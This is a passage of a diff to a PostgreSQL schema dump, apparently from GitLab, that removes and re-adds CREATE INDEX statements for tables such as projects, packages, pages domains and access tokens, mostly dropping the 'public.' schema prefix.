+CREATE INDEX index_packages_packages_on_project_id_and_package_type ON packages_packages USING btree (project_id, package_type);
-CREATE UNIQUE INDEX index_oauth_access_tokens_on_refresh_token ON public.oauth_access_tokens USING btree (refresh_token);
+CREATE INDEX index_packages_packages_on_project_id_and_version ON packages_packages USING btree (project_id, version);
-CREATE INDEX index_oauth_access_tokens_on_resource_owner_id ON public.oauth_access_tokens USING btree (resource_owner_id);
+CREATE INDEX index_packages_project_id_name_partial_for_nuget ON packages_packages USING btree (project_id, name) WHERE (((name)::text <> 'NuGet.Temporary.Package'::text) AND (version IS NOT NULL) AND (package_type = 4));
-CREATE UNIQUE INDEX index_oauth_access_tokens_on_token ON public.oauth_access_tokens USING btree (token);
+CREATE INDEX index_packages_tags_on_package_id ON packages_tags USING btree (package_id);
-CREATE INDEX index_oauth_applications_on_owner_id_and_owner_type ON public.oauth_applications USING btree (owner_id, owner_type);
+CREATE INDEX index_packages_tags_on_package_id_and_updated_at ON packages_tags USING btree (package_id, updated_at DESC);
-CREATE UNIQUE INDEX index_oauth_applications_on_uid ON public.oauth_applications USING btree (uid);
+CREATE INDEX index_pages_deployments_on_ci_build_id ON pages_deployments USING btree (ci_build_id);
-CREATE INDEX index_oauth_openid_requests_on_access_grant_id ON public.oauth_openid_requests USING btree (access_grant_id);
+CREATE INDEX index_pages_deployments_on_project_id ON pages_deployments USING btree (project_id);
-CREATE UNIQUE INDEX index_on_deploy_keys_id_and_type_and_public ON public.keys USING btree (id, type) WHERE (public = true);
+CREATE INDEX index_pages_domain_acme_orders_on_challenge_token ON pages_domain_acme_orders USING btree (challenge_token);
-CREATE INDEX index_on_id_partial_with_legacy_storage ON public.projects USING btree (id) WHERE ((storage_version < 2) OR (storage_version IS NULL));
+CREATE INDEX index_pages_domain_acme_orders_on_pages_domain_id ON pages_domain_acme_orders USING btree (pages_domain_id);
-CREATE INDEX index_on_identities_lower_extern_uid_and_provider ON public.identities USING btree (lower((extern_uid)::text), provider);
+CREATE INDEX index_pages_domains_need_auto_ssl_renewal_user_provided ON pages_domains USING btree (id) WHERE ((auto_ssl_enabled = true) AND (auto_ssl_failed = false) AND (certificate_source = 0));
-CREATE INDEX index_on_users_name_lower ON public.users USING btree (lower((name)::text));
+CREATE INDEX index_pages_domains_need_auto_ssl_renewal_valid_not_after ON pages_domains USING btree (certificate_valid_not_after) WHERE ((auto_ssl_enabled = true) AND (auto_ssl_failed = false));
-CREATE INDEX index_open_project_tracker_data_on_service_id ON public.open_project_tracker_data USING btree (service_id);
+CREATE UNIQUE INDEX index_pages_domains_on_domain_and_wildcard ON pages_domains USING btree (domain, wildcard);
-CREATE INDEX index_operations_feature_flags_issues_on_issue_id ON public.operations_feature_flags_issues USING btree (issue_id);
+CREATE INDEX index_pages_domains_on_domain_lowercase ON pages_domains USING btree (lower((domain)::text));
-CREATE UNIQUE INDEX index_operations_feature_flags_on_project_id_and_iid ON public.operations_feature_flags USING btree (project_id, iid);
+CREATE INDEX index_pages_domains_on_project_id ON pages_domains USING btree (project_id);
-CREATE UNIQUE INDEX index_operations_feature_flags_on_project_id_and_name ON public.operations_feature_flags USING btree (project_id, name);
+CREATE INDEX index_pages_domains_on_project_id_and_enabled_until ON pages_domains USING btree (project_id, enabled_until);
-CREATE UNIQUE INDEX index_operations_scopes_on_strategy_id_and_environment_scope ON public.operations_scopes USING btree (strategy_id, environment_scope);
+CREATE INDEX index_pages_domains_on_remove_at ON pages_domains USING btree (remove_at);
-CREATE INDEX index_operations_strategies_on_feature_flag_id ON public.operations_strategies USING btree (feature_flag_id);
+CREATE INDEX index_pages_domains_on_scope ON pages_domains USING btree (scope);
-CREATE INDEX index_operations_strategies_user_lists_on_user_list_id ON public.operations_strategies_user_lists USING btree (user_list_id);
+CREATE INDEX index_pages_domains_on_usage ON pages_domains USING btree (usage);
-CREATE UNIQUE INDEX index_operations_user_lists_on_project_id_and_iid ON public.operations_user_lists USING btree (project_id, iid);
+CREATE INDEX index_pages_domains_on_verified_at ON pages_domains USING btree (verified_at);
-CREATE UNIQUE INDEX index_operations_user_lists_on_project_id_and_name ON public.operations_user_lists USING btree (project_id, name);
+CREATE INDEX index_pages_domains_on_verified_at_and_enabled_until ON pages_domains USING btree (verified_at, enabled_until);
-CREATE UNIQUE INDEX index_ops_feature_flags_issues_on_feature_flag_id_and_issue_id ON public.operations_feature_flags_issues USING btree (feature_flag_id, issue_id);
+CREATE INDEX index_pages_domains_on_wildcard ON pages_domains USING btree (wildcard);
-CREATE UNIQUE INDEX index_ops_strategies_user_lists_on_strategy_id_and_user_list_id ON public.operations_strategies_user_lists USING btree (strategy_id, user_list_id);
+CREATE UNIQUE INDEX index_partial_am_alerts_on_project_id_and_fingerprint ON alert_management_alerts USING btree (project_id, fingerprint) WHERE (status <> 2);
-CREATE UNIQUE INDEX index_packages_build_infos_on_package_id ON public.packages_build_infos USING btree (package_id);
+CREATE UNIQUE INDEX index_partitioned_foreign_keys_unique_index ON partitioned_foreign_keys USING btree (to_table, from_table, from_column);
-CREATE INDEX index_packages_build_infos_on_pipeline_id ON public.packages_build_infos USING btree (pipeline_id);
+CREATE INDEX index_pat_on_user_id_and_expires_at ON personal_access_tokens USING btree (user_id, expires_at);
-CREATE UNIQUE INDEX index_packages_composer_metadata_on_package_id_and_target_sha ON public.packages_composer_metadata USING btree (package_id, target_sha);
+CREATE INDEX index_path_locks_on_path ON path_locks USING btree (path);
-CREATE UNIQUE INDEX index_packages_conan_file_metadata_on_package_file_id ON public.packages_conan_file_metadata USING btree (package_file_id);
+CREATE INDEX index_path_locks_on_project_id ON path_locks USING btree (project_id);
-CREATE UNIQUE INDEX index_packages_conan_metadata_on_package_id_username_channel ON public.packages_conan_metadata USING btree (package_id, package_username, package_channel);
+CREATE INDEX index_path_locks_on_user_id ON path_locks USING btree (user_id);
-CREATE UNIQUE INDEX index_packages_dependencies_on_name_and_version_pattern ON public.packages_dependencies USING btree (name, version_pattern);
+CREATE UNIQUE INDEX index_personal_access_tokens_on_token_digest ON personal_access_tokens USING btree (token_digest);
-CREATE INDEX index_packages_dependency_links_on_dependency_id ON public.packages_dependency_links USING btree (dependency_id);
+CREATE INDEX index_personal_access_tokens_on_user_id ON personal_access_tokens USING btree (user_id);
-CREATE INDEX index_packages_maven_metadata_on_package_id_and_path ON public.packages_maven_metadata USING btree (package_id, path);
+CREATE UNIQUE INDEX index_plan_limits_on_plan_id ON plan_limits USING btree (plan_id);
-CREATE INDEX index_packages_nuget_dl_metadata_on_dependency_link_id ON public.packages_nuget_dependency_link_metadata USING btree (dependency_link_id);
+CREATE UNIQUE INDEX index_plans_on_name ON plans USING btree (name);
-CREATE INDEX index_packages_package_files_file_store_is_null ON public.packages_package_files USING btree (id) WHERE (file_store IS NULL);
+CREATE UNIQUE INDEX index_pool_repositories_on_disk_path ON pool_repositories USING btree (disk_path);
-CREATE INDEX index_packages_package_files_on_file_store ON public.packages_package_files USING btree (file_store);
+CREATE INDEX index_pool_repositories_on_shard_id ON pool_repositories USING btree (shard_id);
-CREATE INDEX index_packages_package_files_on_package_id_and_file_name ON public.packages_package_files USING btree (package_id, file_name);
+CREATE UNIQUE INDEX index_pool_repositories_on_source_project_id_and_shard_id ON pool_repositories USING btree (source_project_id, shard_id);
-CREATE INDEX index_packages_packages_on_name_trigram ON public.packages_packages USING gin (name public.gin_trgm_ops);
+CREATE UNIQUE INDEX index_programming_languages_on_name ON programming_languages USING btree (name);
-CREATE INDEX index_packages_packages_on_project_id_and_created_at ON public.packages_packages USING btree (project_id, created_at);
+CREATE INDEX index_project_access_tokens_on_project_id ON project_access_tokens USING btree (project_id);
-CREATE INDEX index_packages_packages_on_project_id_and_package_type ON public.packages_packages USING btree (project_id, package_type);
+CREATE UNIQUE INDEX index_project_aliases_on_name ON project_aliases USING btree (name);
-CREATE INDEX index_packages_packages_on_project_id_and_version ON public.packages_packages USING btree (project_id, version);
+CREATE INDEX index_project_aliases_on_project_id ON project_aliases USING btree (project_id);
-CREATE INDEX index_packages_project_id_name_partial_for_nuget ON public.packages_packages USING btree (project_id, name) WHERE (((name)::text <> 'NuGet.Temporary.Package'::text) AND (version IS NOT NULL) AND (package_type = 4));
+CREATE INDEX index_project_authorizations_on_project_id ON project_authorizations USING btree (project_id);
-CREATE INDEX index_packages_tags_on_package_id ON public.packages_tags USING btree (package_id);
+CREATE UNIQUE INDEX index_project_authorizations_on_user_id_project_id_access_level ON project_authorizations USING btree (user_id, project_id, access_level);
-CREATE INDEX index_packages_tags_on_package_id_and_updated_at ON public.packages_tags USING btree (package_id, updated_at DESC);
+CREATE UNIQUE INDEX index_project_auto_devops_on_project_id ON project_auto_devops USING btree (project_id);
-CREATE INDEX index_pages_domain_acme_orders_on_challenge_token ON public.pages_domain_acme_orders USING btree (challenge_token);
+CREATE UNIQUE INDEX index_project_ci_cd_settings_on_project_id ON project_ci_cd_settings USING btree (project_id);
-CREATE INDEX index_pages_domain_acme_orders_on_pages_domain_id ON public.pages_domain_acme_orders USING btree (pages_domain_id);
+CREATE INDEX index_project_compliance_framework_settings_on_project_id ON project_compliance_framework_settings USING btree (project_id);
-CREATE INDEX index_pages_domains_need_auto_ssl_renewal_user_provided ON public.pages_domains USING btree (id) WHERE ((auto_ssl_enabled = true) AND (auto_ssl_failed = false) AND (certificate_source = 0));
+CREATE INDEX index_project_custom_attributes_on_key_and_value ON project_custom_attributes USING btree (key, value);
-CREATE INDEX index_pages_domains_need_auto_ssl_renewal_valid_not_after ON public.pages_domains USING btree (certificate_valid_not_after) WHERE ((auto_ssl_enabled = true) AND (auto_ssl_failed = false));
+CREATE UNIQUE INDEX index_project_custom_attributes_on_project_id_and_key ON project_custom_attributes USING btree (project_id, key);
-CREATE UNIQUE INDEX index_pages_domains_on_domain_and_wildcard ON public.pages_domains USING btree (domain, wildcard);
+CREATE UNIQUE INDEX index_project_daily_statistics_on_project_id_and_date ON project_daily_statistics USING btree (project_id, date DESC);
-CREATE INDEX index_pages_domains_on_domain_lowercase ON public.pages_domains USING btree (lower((domain)::text));
+CREATE INDEX index_project_deploy_tokens_on_deploy_token_id ON project_deploy_tokens USING btree (deploy_token_id);
-CREATE INDEX index_pages_domains_on_project_id ON public.pages_domains USING btree (project_id);
+CREATE UNIQUE INDEX index_project_deploy_tokens_on_project_id_and_deploy_token_id ON project_deploy_tokens USING btree (project_id, deploy_token_id);
-CREATE INDEX index_pages_domains_on_project_id_and_enabled_until ON public.pages_domains USING btree (project_id, enabled_until);
+CREATE UNIQUE INDEX index_project_export_jobs_on_jid ON project_export_jobs USING btree (jid);
-CREATE INDEX index_pages_domains_on_remove_at ON public.pages_domains USING btree (remove_at);
+CREATE INDEX index_project_export_jobs_on_project_id_and_jid ON project_export_jobs USING btree (project_id, jid);
-CREATE INDEX index_pages_domains_on_scope ON public.pages_domains USING btree (scope);
+CREATE INDEX index_project_export_jobs_on_project_id_and_status ON project_export_jobs USING btree (project_id, status);
-CREATE INDEX index_pages_domains_on_usage ON public.pages_domains USING btree (usage);
+CREATE INDEX index_project_export_jobs_on_status ON project_export_jobs USING btree (status);
-CREATE INDEX index_pages_domains_on_verified_at ON public.pages_domains USING btree (verified_at);
+CREATE INDEX index_project_feature_usages_on_project_id ON project_feature_usages USING btree (project_id);
-CREATE INDEX index_pages_domains_on_verified_at_and_enabled_until ON public.pages_domains USING btree (verified_at, enabled_until);
+CREATE UNIQUE INDEX index_project_features_on_project_id ON project_features USING btree (project_id);
-CREATE INDEX index_pages_domains_on_wildcard ON public.pages_domains USING btree (wildcard);
+CREATE INDEX index_project_features_on_project_id_bal_20 ON project_features USING btree (project_id) WHERE (builds_access_level = 20);
-CREATE UNIQUE INDEX index_partial_am_alerts_on_project_id_and_fingerprint ON public.alert_management_alerts USING btree (project_id, fingerprint) WHERE (status <> 2);
+CREATE INDEX index_project_features_on_project_id_ral_20 ON project_features USING btree (project_id) WHERE (repository_access_level = 20);
-CREATE UNIQUE INDEX index_partitioned_foreign_keys_unique_index ON public.partitioned_foreign_keys USING btree (to_table, from_table, from_column);
+CREATE INDEX index_project_group_links_on_group_id ON project_group_links USING btree (group_id);
-CREATE INDEX index_pat_on_user_id_and_expires_at ON public.personal_access_tokens USING btree (user_id, expires_at);
+CREATE INDEX index_project_group_links_on_project_id ON project_group_links USING btree (project_id);
-CREATE INDEX index_path_locks_on_path ON public.path_locks USING btree (path);
+CREATE INDEX index_project_import_data_on_project_id ON project_import_data USING btree (project_id);
-CREATE INDEX index_path_locks_on_project_id ON public.path_locks USING btree (project_id);
+CREATE INDEX index_project_mirror_data_on_last_successful_update_at ON project_mirror_data USING btree (last_successful_update_at);
-CREATE INDEX index_path_locks_on_user_id ON public.path_locks USING btree (user_id);
+CREATE INDEX index_project_mirror_data_on_last_update_at_and_retry_count ON project_mirror_data USING btree (last_update_at, retry_count);
-CREATE UNIQUE INDEX index_personal_access_tokens_on_token_digest ON public.personal_access_tokens USING btree (token_digest);
+CREATE UNIQUE INDEX index_project_mirror_data_on_project_id ON project_mirror_data USING btree (project_id);
-CREATE INDEX index_personal_access_tokens_on_user_id ON public.personal_access_tokens USING btree (user_id);
+CREATE INDEX index_project_mirror_data_on_status ON project_mirror_data USING btree (status);
-CREATE UNIQUE INDEX index_plan_limits_on_plan_id ON public.plan_limits USING btree (plan_id);
+CREATE INDEX index_project_pages_metadata_on_artifacts_archive_id ON project_pages_metadata USING btree (artifacts_archive_id);
-CREATE UNIQUE INDEX index_plans_on_name ON public.plans USING btree (name);
+CREATE UNIQUE INDEX index_project_pages_metadata_on_project_id ON project_pages_metadata USING btree (project_id);
-CREATE UNIQUE INDEX index_pool_repositories_on_disk_path ON public.pool_repositories USING btree (disk_path);
+CREATE INDEX index_project_pages_metadata_on_project_id_and_deployed_is_true ON project_pages_metadata USING btree (project_id) WHERE (deployed = true);
-CREATE INDEX index_pool_repositories_on_shard_id ON public.pool_repositories USING btree (shard_id);
+CREATE UNIQUE INDEX index_project_repositories_on_disk_path ON project_repositories USING btree (disk_path);
-CREATE UNIQUE INDEX index_pool_repositories_on_source_project_id_and_shard_id ON public.pool_repositories USING btree (source_project_id, shard_id);
+CREATE UNIQUE INDEX index_project_repositories_on_project_id ON project_repositories USING btree (project_id);
-CREATE UNIQUE INDEX index_programming_languages_on_name ON public.programming_languages USING btree (name);
+CREATE INDEX index_project_repositories_on_shard_id ON project_repositories USING btree (shard_id);
-CREATE INDEX index_project_access_tokens_on_project_id ON public.project_access_tokens USING btree (project_id);
+CREATE UNIQUE INDEX index_project_repository_states_on_project_id ON project_repository_states USING btree (project_id);
-CREATE UNIQUE INDEX index_project_aliases_on_name ON public.project_aliases USING btree (name);
+CREATE INDEX index_project_repository_storage_moves_on_project_id ON project_repository_storage_moves USING btree (project_id);
-CREATE INDEX index_project_aliases_on_project_id ON public.project_aliases USING btree (project_id);
+CREATE UNIQUE INDEX index_project_settings_on_push_rule_id ON project_settings USING btree (push_rule_id);
-CREATE INDEX index_project_authorizations_on_project_id ON public.project_authorizations USING btree (project_id);
+CREATE INDEX index_project_statistics_on_namespace_id ON project_statistics USING btree (namespace_id);
-CREATE UNIQUE INDEX index_project_authorizations_on_user_id_project_id_access_level ON public.project_authorizations USING btree (user_id, project_id, access_level);
+CREATE UNIQUE INDEX index_project_statistics_on_project_id ON project_statistics USING btree (project_id);
-CREATE UNIQUE INDEX index_project_auto_devops_on_project_id ON public.project_auto_devops USING btree (project_id);
+CREATE INDEX index_project_statistics_on_repository_size_and_project_id ON project_statistics USING btree (repository_size, project_id);
-CREATE UNIQUE INDEX index_project_ci_cd_settings_on_project_id ON public.project_ci_cd_settings USING btree (project_id);
+CREATE INDEX index_project_statistics_on_storage_size_and_project_id ON project_statistics USING btree (storage_size, project_id);
-CREATE INDEX index_project_compliance_framework_settings_on_project_id ON public.project_compliance_framework_settings USING btree (project_id);
+CREATE INDEX index_project_statistics_on_wiki_size_and_project_id ON project_statistics USING btree (wiki_size, project_id);
-CREATE INDEX index_project_custom_attributes_on_key_and_value ON public.project_custom_attributes USING btree (key, value);
+CREATE UNIQUE INDEX index_project_tracing_settings_on_project_id ON project_tracing_settings USING btree (project_id);
-CREATE UNIQUE INDEX index_project_custom_attributes_on_project_id_and_key ON public.project_custom_attributes USING btree (project_id, key);
+CREATE INDEX index_projects_aimed_for_deletion ON projects USING btree (marked_for_deletion_at) WHERE ((marked_for_deletion_at IS NOT NULL) AND (pending_delete = false));
-CREATE UNIQUE INDEX index_project_daily_statistics_on_project_id_and_date ON public.project_daily_statistics USING btree (project_id, date DESC);
+CREATE INDEX index_projects_api_created_at_id_desc ON projects USING btree (created_at, id DESC);
-CREATE INDEX index_project_deploy_tokens_on_deploy_token_id ON public.project_deploy_tokens USING btree (deploy_token_id);
+CREATE INDEX index_projects_api_created_at_id_for_archived ON projects USING btree (created_at, id) WHERE ((archived = true) AND (pending_delete = false));
-CREATE UNIQUE INDEX index_project_deploy_tokens_on_project_id_and_deploy_token_id ON public.project_deploy_tokens USING btree (project_id, deploy_token_id);
+CREATE INDEX index_projects_api_created_at_id_for_archived_vis20 ON projects USING btree (created_at, id) WHERE ((archived = true) AND (visibility_level = 20) AND (pending_delete = false));
-CREATE UNIQUE INDEX index_project_export_jobs_on_jid ON public.project_export_jobs USING btree (jid);
+CREATE INDEX index_projects_api_created_at_id_for_vis10 ON projects USING btree (created_at, id) WHERE ((visibility_level = 10) AND (pending_delete = false));
-CREATE INDEX index_project_export_jobs_on_project_id_and_jid ON public.project_export_jobs USING btree (project_id, jid);
+CREATE INDEX index_projects_api_last_activity_at_id_desc ON projects USING btree (last_activity_at, id DESC);
-CREATE INDEX index_project_export_jobs_on_project_id_and_status ON public.project_export_jobs USING btree (project_id, status);
+CREATE INDEX index_projects_api_name_id_desc ON projects USING btree (name, id DESC);
-CREATE INDEX index_project_export_jobs_on_status ON public.project_export_jobs USING btree (status);
+CREATE INDEX index_projects_api_path_id_desc ON projects USING btree (path, id DESC);
-CREATE INDEX index_project_feature_usages_on_project_id ON public.project_feature_usages USING btree (project_id);
+CREATE INDEX index_projects_api_updated_at_id_desc ON projects USING btree (updated_at, id DESC);
-CREATE UNIQUE INDEX index_project_features_on_project_id ON public.project_features USING btree (project_id);
+CREATE INDEX index_projects_api_vis20_created_at ON projects USING btree (created_at, id) WHERE (visibility_level = 20);
-CREATE INDEX index_project_features_on_project_id_bal_20 ON public.project_features USING btree (project_id) WHERE (builds_access_level = 20);
+CREATE INDEX index_projects_api_vis20_last_activity_at ON projects USING btree (last_activity_at, id) WHERE (visibility_level = 20);
-CREATE INDEX index_project_features_on_project_id_ral_20 ON public.project_features USING btree (project_id) WHERE (repository_access_level = 20);
+CREATE INDEX index_projects_api_vis20_name ON projects USING btree (name, id) WHERE (visibility_level = 20);
-CREATE INDEX index_project_group_links_on_group_id ON public.project_group_links USING btree (group_id);
+CREATE INDEX index_projects_api_vis20_path ON projects USING btree (path, id) WHERE (visibility_level = 20);
-CREATE INDEX index_project_group_links_on_project_id ON public.project_group_links USING btree (project_id);
+CREATE INDEX index_projects_api_vis20_updated_at ON projects USING btree (updated_at, id) WHERE (visibility_level = 20);
-CREATE INDEX index_project_import_data_on_project_id ON public.project_import_data USING btree (project_id);
+CREATE INDEX index_projects_on_created_at_and_id ON projects USING btree (created_at, id);
-CREATE INDEX index_project_mirror_data_on_last_successful_update_at ON public.project_mirror_data USING btree (last_successful_update_at);
+CREATE INDEX index_projects_on_creator_id_and_created_at_and_id ON projects USING btree (creator_id, created_at, id);
-CREATE INDEX index_project_mirror_data_on_last_update_at_and_retry_count ON public.project_mirror_data USING btree (last_update_at, retry_count);
+CREATE INDEX index_projects_on_creator_id_and_id ON projects USING btree (creator_id, id);
-CREATE UNIQUE INDEX index_project_mirror_data_on_project_id ON public.project_mirror_data USING btree (project_id);
+CREATE INDEX index_projects_on_description_trigram ON projects USING gin (description gin_trgm_ops);
-CREATE INDEX index_project_mirror_data_on_status ON public.project_mirror_data USING btree (status);
+CREATE INDEX index_projects_on_id_and_archived_and_pending_delete ON projects USING btree (id) WHERE ((archived = false) AND (pending_delete = false));
-CREATE UNIQUE INDEX index_project_pages_metadata_on_project_id ON public.project_pages_metadata USING btree (project_id);
+CREATE UNIQUE INDEX index_projects_on_id_partial_for_visibility ON projects USING btree (id) WHERE (visibility_level = ANY (ARRAY[10, 20]));
-CREATE INDEX index_project_pages_metadata_on_project_id_and_deployed_is_true ON public.project_pages_metadata USING btree (project_id) WHERE (deployed = true);
+CREATE INDEX index_projects_on_id_service_desk_enabled ON projects USING btree (id) WHERE (service_desk_enabled = true);
-CREATE UNIQUE INDEX index_project_repositories_on_disk_path ON public.project_repositories USING btree (disk_path);
+CREATE INDEX index_projects_on_last_activity_at_and_id ON projects USING btree (last_activity_at, id);
-CREATE UNIQUE INDEX index_project_repositories_on_project_id ON public.project_repositories USING btree (project_id);
+CREATE INDEX index_projects_on_last_repository_check_at ON projects USING btree (last_repository_check_at) WHERE (last_repository_check_at IS NOT NULL);
-CREATE INDEX index_project_repositories_on_shard_id ON public.project_repositories USING btree (shard_id);
+CREATE INDEX index_projects_on_last_repository_check_failed ON projects USING btree (last_repository_check_failed);
-CREATE UNIQUE INDEX index_project_repository_states_on_project_id ON public.project_repository_states USING btree (project_id);
+CREATE INDEX index_projects_on_last_repository_updated_at ON projects USING btree (last_repository_updated_at);
-CREATE INDEX index_project_repository_storage_moves_on_project_id ON public.project_repository_storage_moves USING btree (project_id);
+CREATE INDEX index_projects_on_lower_name ON projects USING btree (lower((name)::text));
-CREATE UNIQUE INDEX index_project_settings_on_push_rule_id ON public.project_settings USING btree (push_rule_id);
+CREATE INDEX index_projects_on_marked_for_deletion_by_user_id ON projects USING btree (marked_for_deletion_by_user_id) WHERE (marked_for_deletion_by_user_id IS NOT NULL);
-CREATE INDEX index_project_statistics_on_namespace_id ON public.project_statistics USING btree (namespace_id);
+CREATE INDEX index_projects_on_mirror_creator_id_created_at ON projects USING btree (creator_id, created_at) WHERE ((mirror = true) AND (mirror_trigger_builds = true));
-CREATE UNIQUE INDEX index_project_statistics_on_project_id ON public.project_statistics USING btree (project_id);
+CREATE INDEX index_projects_on_mirror_id_where_mirror_and_trigger_builds ON projects USING btree (id) WHERE ((mirror = true) AND (mirror_trigger_builds = true));
-CREATE INDEX index_project_statistics_on_repository_size_and_project_id ON public.project_statistics USING btree (repository_size, project_id);
+CREATE INDEX index_projects_on_mirror_last_successful_update_at ON projects USING btree (mirror_last_successful_update_at);
-CREATE INDEX index_project_statistics_on_storage_size_and_project_id ON public.project_statistics USING btree (storage_size, project_id);
+CREATE INDEX index_projects_on_mirror_user_id ON projects USING btree (mirror_user_id);
-CREATE INDEX index_project_statistics_on_wiki_size_and_project_id ON public.project_statistics USING btree (wiki_size, project_id);
+CREATE INDEX index_projects_on_name_and_id ON projects USING btree (name, id);
-CREATE UNIQUE INDEX index_project_tracing_settings_on_project_id ON public.project_tracing_settings USING btree (project_id);
+CREATE INDEX index_projects_on_name_trigram ON projects USING gin (name gin_trgm_ops);
-CREATE INDEX index_projects_aimed_for_deletion ON public.projects USING btree (marked_for_deletion_at) WHERE ((marked_for_deletion_at IS NOT NULL) AND (pending_delete = false));
+CREATE INDEX index_projects_on_namespace_id_and_id ON projects USING btree (namespace_id, id);
-CREATE INDEX index_projects_api_created_at_id_desc ON public.projects USING btree (created_at, id DESC);
+CREATE INDEX index_projects_on_path_and_id ON projects USING btree (path, id);
-CREATE INDEX index_projects_api_created_at_id_for_archived ON public.projects USING btree (created_at, id) WHERE ((archived = true) AND (pending_delete = false));
+CREATE INDEX index_projects_on_path_trigram ON projects USING gin (path gin_trgm_ops);
-CREATE INDEX index_projects_api_created_at_id_for_archived_vis20 ON public.projects USING btree (created_at, id) WHERE ((archived = true) AND (visibility_level = 20) AND (pending_delete = false));
+CREATE INDEX index_projects_on_pending_delete ON projects USING btree (pending_delete);
-CREATE INDEX index_projects_api_created_at_id_for_vis10 ON public.projects USING btree (created_at, id) WHERE ((visibility_level = 10) AND (pending_delete = false));
+CREATE INDEX index_projects_on_pool_repository_id ON projects USING btree (pool_repository_id) WHERE (pool_repository_id IS NOT NULL);
-CREATE INDEX index_projects_api_last_activity_at_id_desc ON public.projects USING btree (last_activity_at, id DESC);
+CREATE INDEX index_projects_on_repository_storage ON projects USING btree (repository_storage);
-CREATE INDEX index_projects_api_name_id_desc ON public.projects USING btree (name, id DESC);
+CREATE INDEX index_projects_on_runners_token ON projects USING btree (runners_token);
-CREATE INDEX index_projects_api_path_id_desc ON public.projects USING btree (path, id DESC);
+CREATE INDEX index_projects_on_runners_token_encrypted ON projects USING btree (runners_token_encrypted);
-CREATE INDEX index_projects_api_updated_at_id_desc ON public.projects USING btree (updated_at, id DESC);
+CREATE INDEX index_projects_on_star_count ON projects USING btree (star_count);
-CREATE INDEX index_projects_api_vis20_created_at ON public.projects USING btree (created_at, id) WHERE (visibility_level = 20);
+CREATE INDEX index_projects_on_updated_at_and_id ON projects USING btree (updated_at, id);
-CREATE INDEX index_projects_api_vis20_last_activity_at ON public.projects USING btree (last_activity_at, id) WHERE (visibility_level = 20);
+CREATE UNIQUE INDEX index_prometheus_alert_event_scoped_payload_key ON prometheus_alert_events USING btree (prometheus_alert_id, payload_key);
-CREATE INDEX index_projects_api_vis20_name ON public.projects USING btree (name, id) WHERE (visibility_level = 20);
+CREATE INDEX index_prometheus_alert_events_on_project_id_and_status ON prometheus_alert_events USING btree (project_id, status);
-CREATE INDEX index_projects_api_vis20_path ON public.projects USING btree (path, id) WHERE (visibility_level = 20);
+CREATE UNIQUE INDEX index_prometheus_alerts_metric_environment ON prometheus_alerts USING btree (project_id, prometheus_metric_id, environment_id);
-CREATE INDEX index_projects_api_vis20_updated_at ON public.projects USING btree (updated_at, id) WHERE (visibility_level = 20);
+CREATE INDEX index_prometheus_alerts_on_environment_id ON prometheus_alerts USING btree (environment_id);
-CREATE INDEX index_projects_on_created_at_and_id ON public.projects USING btree (created_at, id);
+CREATE INDEX index_prometheus_alerts_on_prometheus_metric_id ON prometheus_alerts USING btree (prometheus_metric_id);
-CREATE INDEX index_projects_on_creator_id_and_created_at_and_id ON public.projects USING btree (creator_id, created_at, id);
+CREATE INDEX index_prometheus_metrics_on_common ON prometheus_metrics USING btree (common);
-CREATE INDEX index_projects_on_creator_id_and_id ON public.projects USING btree (creator_id, id);
+CREATE INDEX index_prometheus_metrics_on_group ON prometheus_metrics USING btree ("group");
-CREATE INDEX index_projects_on_description_trigram ON public.projects USING gin (description public.gin_trgm_ops);
+CREATE UNIQUE INDEX index_prometheus_metrics_on_identifier_and_null_project ON prometheus_metrics USING btree (identifier) WHERE (project_id IS NULL);
-CREATE INDEX index_projects_on_id_and_archived_and_pending_delete ON public.projects USING btree (id) WHERE ((archived = false) AND (pending_delete = false));
+CREATE UNIQUE INDEX index_prometheus_metrics_on_identifier_and_project_id ON prometheus_metrics USING btree (identifier, project_id);
-CREATE UNIQUE INDEX index_projects_on_id_partial_for_visibility ON public.projects USING btree (id) WHERE (visibility_level = ANY (ARRAY[10, 20]));
+CREATE INDEX index_prometheus_metrics_on_project_id ON prometheus_metrics USING btree (project_id);
-CREATE INDEX index_projects_on_id_service_desk_enabled ON public.projects USING btree (id) WHERE (service_desk_enabled = true);
+CREATE INDEX index_protected_branch_merge_access ON protected_branch_merge_access_levels USING btree (protected_branch_id);
-CREATE INDEX index_projects_on_last_activity_at_and_id ON public.projects USING btree (last_activity_at, id);
+CREATE INDEX index_protected_branch_merge_access_levels_on_group_id ON protected_branch_merge_access_levels USING btree (group_id);
-CREATE INDEX index_projects_on_last_repository_check_at ON public.projects USING btree (last_repository_check_at) WHERE (last_repository_check_at IS NOT NULL);
+CREATE INDEX index_protected_branch_merge_access_levels_on_user_id ON protected_branch_merge_access_levels USING btree (user_id);
-CREATE INDEX index_projects_on_last_repository_check_failed ON public.projects USING btree (last_repository_check_failed);
+CREATE INDEX index_protected_branch_push_access ON protected_branch_push_access_levels USING btree (protected_branch_id);
-CREATE INDEX index_projects_on_last_repository_updated_at ON public.projects USING btree (last_repository_updated_at);
+CREATE INDEX index_protected_branch_push_access_levels_on_group_id ON protected_branch_push_access_levels USING btree (group_id);
-CREATE INDEX index_projects_on_lower_name ON public.projects USING btree (lower((name)::text));
+CREATE INDEX index_protected_branch_push_access_levels_on_user_id ON protected_branch_push_access_levels USING btree (user_id);
-CREATE INDEX index_projects_on_marked_for_deletion_by_user_id ON public.projects USING btree (marked_for_deletion_by_user_id) WHERE (marked_for_deletion_by_user_id IS NOT NULL);
+CREATE INDEX index_protected_branch_unprotect_access ON protected_branch_unprotect_access_levels USING btree (protected_branch_id);
-CREATE INDEX index_projects_on_mirror_creator_id_created_at ON public.projects USING btree (creator_id, created_at) WHERE ((mirror = true) AND (mirror_trigger_builds = true));
+CREATE INDEX index_protected_branch_unprotect_access_levels_on_group_id ON protected_branch_unprotect_access_levels USING btree (group_id);
-CREATE INDEX index_projects_on_mirror_id_where_mirror_and_trigger_builds ON public.projects USING btree (id) WHERE ((mirror = true) AND (mirror_trigger_builds = true));
+CREATE INDEX index_protected_branch_unprotect_access_levels_on_user_id ON protected_branch_unprotect_access_levels USING btree (user_id);
-CREATE INDEX index_projects_on_mirror_last_successful_update_at ON public.projects USING btree (mirror_last_successful_update_at);
+CREATE INDEX index_protected_branches_on_project_id ON protected_branches USING btree (project_id);
-CREATE INDEX index_projects_on_mirror_user_id ON public.projects USING btree (mirror_user_id);
+CREATE INDEX index_protected_environment_deploy_access ON protected_environment_deploy_access_levels USING btree (protected_environment_id);
-CREATE INDEX index_projects_on_name_and_id ON public.projects USING btree (name, id);
